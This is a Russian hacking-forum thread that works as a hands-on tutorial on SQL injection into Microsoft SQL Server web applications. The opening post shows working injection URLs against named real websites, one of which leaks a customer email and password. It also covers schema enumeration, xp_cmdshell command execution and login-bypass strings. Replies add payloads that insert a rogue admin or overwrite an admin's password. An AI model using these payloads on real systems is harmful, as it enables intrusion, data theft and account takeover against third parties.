ANTICHAT.RU    VIDEO.ANTICHAT.RU    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  

???????? RU ?????? ? RU ??????? ? ????? ???????. ? ??? ?????? ????!



ViKing – ?????? ????????? ??? ??????? ????????? ????? ?????????!

Вернуться   ????? ??????? > ???? > ?????? > ????????? ??????
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Проведение Инъекций в MSSQL сервер от Microsoft.
  #1  
Старый 03.01.2007, 20:35
Аватара для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщения: 1,614
Провел на форуме:
1 месяц 2 недели

Репутация: 438 ±



Thumbs up Проведение Инъекций в MSSQL сервер от Microsoft.

Проведение инъекций в MSSQL сервере от Microsoft.


Вступление.
Начнем, пожалуй, с вывода ошибок, и так, чем же отличается? - выводом ошибок у mysql и mssql. В mysql можно отключить вывод ошибок, в mssql этого сделать нельзя единственное что можно реализовать это редирект при выводе ошибки. В mssql вывод данных в mssql гораздо более проблематичный чем mysql (выводится только 1 переменная всегда), при этом не все данные из бд можно бывает вывести, иногда не выводяться колонки с кодировкой date int и др. Многие считают что сделать полноценный дамп базы через mssql иньекцию невозможно, но это не так, дальше я попытаюсь рассказать вам все тонкости проведения sql иньекций в msql.

Мы будем рассматривать иньекции на asp aspx cfm (c php mssql ведет себя чуть по другому), так же не будем забывать что админ может просто изменить в конфигах сервера обработку mime/type и расширение файла может любым, но это не введет нас в заблуждение. Если иньекция есть то мы ее найдем. В плюс можно отнести и то что на msql не может существовать blind (слепых) иньекций.

Вывод ошибок.

Приступим к поиску непосредственно самих иньекций. И начнем с изучения ошибок которые выводит mssql в ответ на наши извращения.
Рассмотрим данный урл
http://www.psdata.no/ps.asp?it=1'

Код:
Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near 'NO'.

/prodDetails.asp, line 1282 

Значит мы нашли вывод ошибки, но это еще не означает что получится изменить запрос к бд.

Проверяем на нашиличие иньекции:


Для того, что бы проверить, надо что-нибудь вывести, для этого используем подзапрос, и так что же мы можем вывести:

1 or 1=@@version-- - Версия
1 or 1=(select db_name())-- - Имя Базы Данных текущего юзера.
1 or 1=(select system_user)-- - Имя юзера владельца данной базой.


Но в нашем случае нам придется слегка видоизменить запрос для его работоспособности...
http://www.psdata.no/ps.asp?it=1' or 1=(select db_name())--
В ответ получим ошибку:
Код:
Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'fshop' to a column of data type int.

/prodDetails.asp, line 1282 

где fshop имя Базы Данных текущего юзера.

Поиск таблиц и колонок.


В mssql есть база данных в которой хранится информация о всех таблицах и колонках во всех бд данного сервера название ей INFORMATION_SCHEMA. Интересуют нас в ней 2 таблицы TABLES и COLUMNS. И так составим запрос:
1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES)--

В нашем случае запрос будет такой.

http://www.psdata.no/ps.asp?it=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+IN FORMATION_SCHEMA.TABLES)--

В ответ мы получим:
Код:
Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'tblMenuTCL' to a column of data type int.

/prodDetails.asp, line 1282 

Где tblMenuTCL одна из таблиц. Найдем интересующую нас таблицу методом перебора через NOT IN

http://www.psdata.no/ps.asp?it=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+IN FORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(' tblMenuTCL'))--

Получаем ошибку:
Код:
Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'tblTCL_TEST1' to a column of data type int.

/prodDetails.asp, line 1282 


Где tblTCL_TEST1 имя второй таблицы. Далее, перебираем до той таблицы которая нам будет нужна. Дальнейший перебор осуществляется так:

1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1','ta ble2',........,'table50'))--

Теперь когда мы нашли нужную таблицу надо узнать ее колонки что бы реализовать вывод данных для этого используем похожий запрос

1+or+1=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_ SCHEMA.COLUMNS+WHERE+TABLE_NAME='table_name'+AND+C OLU MN_NAME+NOT+IN+('column','column2',.....,'column50 '))--

Вывод данных.


После того как мы узнали структуру базы данных приступим к выводу данных. Для примера я возьму иньекцию на другом сайте и выведу оттуда что нибудь
меня заинтересовали данные колонки:
Код:
CustID
EmailAddress
Password

Приступим к составлению запроса для начала выведем 1 из значений.

http://www.ast-ss.com/dev/qa_search/full_text.asp?ID=1+or+1=(SELECT+TOP+1+EmailAddress +from+Customers)--

Код:
Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the varchar value 'pdelia@ast-ss.com' to a column of data type int.

/dev/qa_search/full_text.asp, line 23

Что же попробуем вывести все данные которые нас интересуют в 1 запросе, для этого составляем запрос

http://www.ast-ss.com/dev/qa_search/full_text.asp?ID=1+or+1=(SELECT+TOP+1+cast(EmailAd dress+as+nvarchar)%2B%27%3A%27%2Bcast(Password+as+ nvarchar)+from+Customers)--
Код:
Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'pdelia@ast-ss.com:fzr1000r1' to a column of data type int.

/dev/qa_search/full_text.asp, line 23 

Отлично все что нам надо... но это только 1 строка из всей сможем ли мы посмотреть другие для этого используем простой запрос where:

http://www.ast-ss.com/dev/qa_search/full_text.asp?ID=1+or+1=(SELECT+TOP+1+cast(EmailAd dress+as+nvarchar)%2B%27%3A%27%2Bcast(Password+as+ nvarchar)+from+Customers+where+CustID=3)--

Мы получили совсем другую строку ту в которой CustID=3 так мы можем вывести всех юзеров. Но возникает вопрос, как же все-таки сдампить базу. Для этого существуют специальные скрипты которые перебирают все CustID (в нашем примере) и записывают все в файл без лишнего мусора.
Теперь непосредственно о том как мы обьеденяем данные используем мы cast() синтаксис которого cast(perm as encode), далее %2B%27%3A%27%2B это у нас и есть : между выводимыми данными в раскодированном виде выглядит так +':'+.

Исполнение команд.


Еще мы можем исполнять комады если юзеру под которым запущена база достаточно прав, как правило, это только юзер sa. Вот списочек процедур которые при определенных условиях мы сможем использывать:
Код:
xp_enumgroups (группы из ОС Windows)
xp_ntsec_enumdomains (список доменов сети)
xp_enumdsn (источники данных ODBC)
xp_loginconfig (инфо о пользователе)
xp_logininfo (все пользователи, залогинившиеся на данный момент в системе)
xp_msver (версия SQL сервера)
xp_cmdshell <команда> (исполнение файла через cmd.exe)
xp_servicecontrol <действие>,<служба> (запускает или останавливает указанные процесс)
xp_terminate_process <идентификатор процесса> (закрытие процесса по его ProcessID)
xp_startmail, xp_sendmail (обращение к потовому демону sendmail)
sp_makewebtask (выполнение команды html вида)

Теперь как же это чудо нам вставить в запрос
;exec master..xp_cmdshell 'dir c:\'--
иногда
';exec master..xp_cmdshell 'dir c:\'--

Если вы задаите вопрос что же можно сделать то посоветую вам обратиться к help cmd.exe, лично использую только 1 метод добавление юзера.

POST Иньекции.


Конечно же затронем тему иньекций постом. в отличии от mysql, mssql выведет ошибку и мы можем с ней точно так же работать как и с обычной get иньекцией тоесть выводить данные из базы данных. Если же мы хотим просто обойти авторизацию то и используем подобные комбинации в полях логина и пароля:
Код:
' or 1=1--
" or 1=1--
or 1=1--
' or '1'='1
" or "1"="1
') or ('1'='1


Отсупления.


И так несколько моих советов по инжектированию:

1) Ошибка очень многих использывать в mssql union
Например тут:
http://www.accessdata.fda.gov/scripts/cder/onctools/studies.cfm?ID=1+union+select+0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0--
хотя тут легче работать с подзапросами
http://www.accessdata.fda.gov/scripts/cder/onctools/studies.cfm?ID=1+or+1=@@version--

2) не забывайте исользывать прерывание запроса в конце --

3) При поиске иньекции методом описанным мной то есть подставляем к параметру or+1=@@version-- пробуйте разные комбинации например
'+or+1=@@version--
')+or+1=@@version--
"+or+1=@@version--
и т.д.

4) Почему использывать именно @@version?
Потому что выводит данные в несколько строк и их легко заметить как например в данном запросе на aspx
http://barijessence.com/?Page=ModelShow&ProductID=1+or+1=@@version--

5)Что следует почитать?
_http://injection.rulezz.ru/
_http://www.securitylab.ru/analytics/216211.php
_http://www.securitylab.ru/analytics/216332.php
_http://www.securitylab.ru/analytics/216333.php
_http://www.securitylab.ru/analytics/216344.php
Так же статьи на forum.antichat.ru

Статья расчитана на начинающих.
И справкой для Всех остальных
[ cash ] Hack-Shop.Org.Ru (c)


Последний раз редактировалось [ cash ], 12.01.2007 в 03:16.
 
Ответить с цитированием

  #2  
Старый 07.01.2007, 13:39
Аватара для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщения: 2,372
Провел на форуме:
2 месяца 1 день

Репутация: 734 ±



Отправить сообщение для  _Great_ с помощью ICQ
По умолчанию

Цитата:
в отличии от mysql, mssql выведет ошибку и мы можем с ней точно так же работать как и с обычной get иньекцией тоесть выводить данные из базы данных.

да ладно. а mysql ошибок не выводит? о_0
 
Ответить с цитированием

  #3  
Старый 07.01.2007, 18:39
Аватара для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщения: 1,614
Провел на форуме:
1 месяц 2 недели

Репутация: 438 ±



По умолчанию

2_Great_
В большинстве авторизацый которые я встречал (именно авторизация про них говорил) обходился ' or 1=1/*.

Обновил все о чем писали.


Исправил граматические ошибки спасибо Thanat0z

Последний раз редактировалось [ cash ], 12.01.2007 в 03:21.
 
Ответить с цитированием

  #4  
Старый 14.02.2007, 04:40
Аватара для halkfild
halkfild
Leaders of Antichat - Level 4
Регистрация: 11.11.2005
Сообщения: 391
Провел на форуме:
2 месяца 3 недели 1 день

Репутация: 601 ±

По умолчанию

нужна вторая часть..

и вопрос еще почему при выполнении подзапроса
(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.T ABLES)
пишет ошибку
Incorrect syntax near the keyword 'top'.

все до вложеного правильно..
__________________
Если кто-то думает, что результат десятилетий работы может прийти в голову с падением яблока,
то впору посоветовать ему поселиться в яблочном саду. /Ньютон/

md5 crack service
uasc


 
Ответить с цитированием

  #5  
Старый 10.04.2007, 19:33
Аватара для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщения: 1,614
Провел на форуме:
1 месяц 2 недели

Репутация: 438 ±



Exclamation

Продолжение статьи:

Класcификация ошибок в Базах Данных от Microsoft.


Рассмотрим 3 версии самых популярных ошибок в asp.

Для начала рассмотрим те ошибки с которыми мы ничего сделать не можем.
И так по ключевым словам:

1)
Microsoft Jet Database
2) VbScript
3) JetDataBase
4) "Потерянный параметр"

Первые 3 класса ошибок образуют отдельную группу. Собственно с чем мы имеем дело. Во всех 3 Примерах мы имеем дело с базой данных Microsoft Jet Database Engine. Как мы видим работает она на Access + VB. Языка как такового в запросах там не используется. В этих случаях мы не можем провести инъекцию так как:
1) Не будет вывода.
2) Запросы передаются на очень низком уровне.
3) Единственное что на мой взгляд тут можно сделать это стресс тест на переполнение буфера в отдельных компонентах которые в крупных компаниях пишут сами.
База данных в таких случаях хранится в файле *.mdb, который обязательно находится на веб сервере вместе с web скриптами. Протокол передачи запросов между базой и веб приложениями я не изучал.
Часто встречал сервера где исользуется обычный mssql и JetDB так что если в первый раз вы определили данный вид базы не стоит расстраиваться, может еще есть шансы на успех.
Редактировать и открывать файлы базы данных можно в Microsoft Office Acceess.

Теперь рассмотрим
"Потерянный параметр".
Это я встречал на всех версиях Серверов от Microsoft и так и не разобрался с чем собственно это связанно. При попытке инъекции запроса с нарушением синтаксиса Сервер возвращает ошибку с некорректным параметром. Например

При url
Цитата:
site.gov/a.asp?catId=66'
Цитата:
param id=66

В большинстве случаев это из-за фильтрации, для меня это самое логическое объяснение. Но это не всегда. Лично я встречал случай когда.
Цитата:
id="$catId"-60;

Если это так, то мы составим запрос.
Цитата:
site.gov/a.asp?catId=66'&id=6

При этом если в ошибке параметр исчезает и запрос является верным, то мы можем составить далее правильный по синтаксису запрос.
Цитата:
site.gov/a.asp?catId=66+or+1=@@version--&id=6

Но в большинстве случаев это именно фильтрация входяшего параметра, и только потом передача его в с другим "именем" в базу данных.

Идеальная ошибка при составлении не корректного запроса к бд будет.
Цитата:
Microsoft OLE DB Provider for SQL Servererror '80040e14'

Unclosed quotation mark before the character string ''.

/path_to_dir/file.asp, line 99


Именно эта ошибка 80040e14, хотя встречаются разные. Здесь с вероятностью 95% есть инъекция. Так же не забываем, что если ошибка возникает без манипуляции вами параметров скрипта, то это скорей всего ошибка в настройках скрипта, а не инъекция.

Коды ошибок :
http://msdn.microsoft.com/library/ja/default.asp?url=/library/ja/adoce31/htm/ado30ref_100.asp


Данной статьей я хотел показать в каких случаях возможна инъекция да бы на форуме не было одинаковых тем.
Служит продолжением статьи http://forum.antichat.ru/showthread.php?t=30501



[ cash ] Hack-Shop.Org.Ru (c)

Последний раз редактировалось [ cash ], 08.08.2007 в 01:29.
 
Ответить с цитированием

  #6  
Старый 03.06.2007, 16:25
Аватара для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщения: 1,614
Провел на форуме:
1 месяц 2 недели

Репутация: 438 ±



По умолчанию

Реализация скрипта для просмотра и дампинга баз, через mssql-inj.

Исходников не будет.

http://pidor.in/mssql.php
 
Ответить с цитированием

  #7  
Старый 04.07.2007, 21:10
Аватара для Shred
Shred
Участник форума
Регистрация: 22.05.2006
Сообщения: 232
Провел на форуме:
6 дней 11 часов 50 минут

Репутация: 4 ±

По умолчанию

Кто-нибуть ещё может предложить способы для Post Иньекции? Наткнулся на страницу авториции, ничего из перечисленного не прокатило, неужели всё так жёстко фильтруется?
 
Ответить с цитированием

  #8  
Старый 04.07.2007, 21:16
Аватара для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщения: 1,614
Провел на форуме:
1 месяц 2 недели

Репутация: 438 ±



По умолчанию

Не так пробывал значит.
 
Ответить с цитированием

модификация данных в таблицах
  #9  
Старый 05.07.2007, 01:30
Аватара для _Pantera_
_Pantera_
Характерне козацтво
Регистрация: 06.10.2006
Сообщения: 226
Провел на форуме:
1 месяц 5 дней

Репутация: 177 ±

Отправить сообщение для  _Pantera_ с помощью ICQ
По умолчанию модификация данных в таблицах

так же хочу добавить от себя, в отличае от mysql в mssql возможна модификация данных в таблицах

INSERT

Команда INSERT вставляет новые записи в существующую таблицу. Тоесть мы можем найдя таблицу admins добавить нового пользователя, то есть себя, не нанося существенный вред данным
Рассмотрим на примере:
Код:
http://site.ru/index.asp?id=1; INSERT INTO admins (id, login, password) VALUES (5,'Pantera','qwerty')--
В данном примере я добавил нового админа с id 5, логином Pantera и паролем qwerty;


UPDATE

Команда UPDATE обновляет столбцы таблицы table в соответствии с их новыми значениями
в строках существующей таблицы.

Это значит то, что мы можем поменять к примеру пароль конкретного юзера на свой
Рассмотрим на примере:
Допустим мы нашли таблицу с названием admins и наша задача поменять пароль адмну с логином admin
делаеться это вот так:
Код:
http://site.ru/index.asp?id=1; UPDATE admins SET password = 'newpass' WHERE name='admin'--

Последний раз редактировалось _Pantera_, 05.07.2007 в 01:38.
 
Ответить с цитированием

  #10  
Старый 05.07.2007, 14:16
Аватара для Shred
Shred
Участник форума
Регистрация: 22.05.2006
Сообщения: 232
Провел на форуме:
6 дней 11 часов 50 минут

Репутация: 4 ±

Question

Цитата:
Сообщение от [ cash ]  
Не так пробывал значит.

всмысле не так пробовал?
просто поочерёдно тулил в поля логин и пасс предоставленные значения ("' or 1=1--" итд). Скрипт вообще никак не ругался, только говорил что лониг и пароль не верны. Причём если вставлять только в логин то скрипт сразу выдавал, что мол пароль не введён. Думал что эта проверка реализована ява скриптом, но в исходниках толком ничего не нашёл, хотя правда бегло просмартел. Нашёл названия переменных логина и пароля и присваивал им значения прямо в адресной строке браузера - тоже ничего. И ещё, возможно ли просто сохранить страничку, вручную поменять метод передачи, ну подставить полный путь к скрипту и таким образом передавать атутентификационные данные, будет ли это нормально (или ненормально ) воспринимать скрипт?
 
Ответить с цитированием
Ответ


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Os - моя крепость Elekt Избранное 32 06.08.2009 16:10
Мнения: "Безопасность от Microsoft: шаг к обновленному миру?" dinar_007 Мировые новости 5 25.12.2006 19:20
Дыра в Word позволяет захватить контроль над ПК »Atom1c« Мировые новости 17 12.12.2006 13:15



Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра


Быстрый переход

plohihzagrusok.net


Powered by: vBulletin Version 3.0.x
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd.

ANTICHAT.RU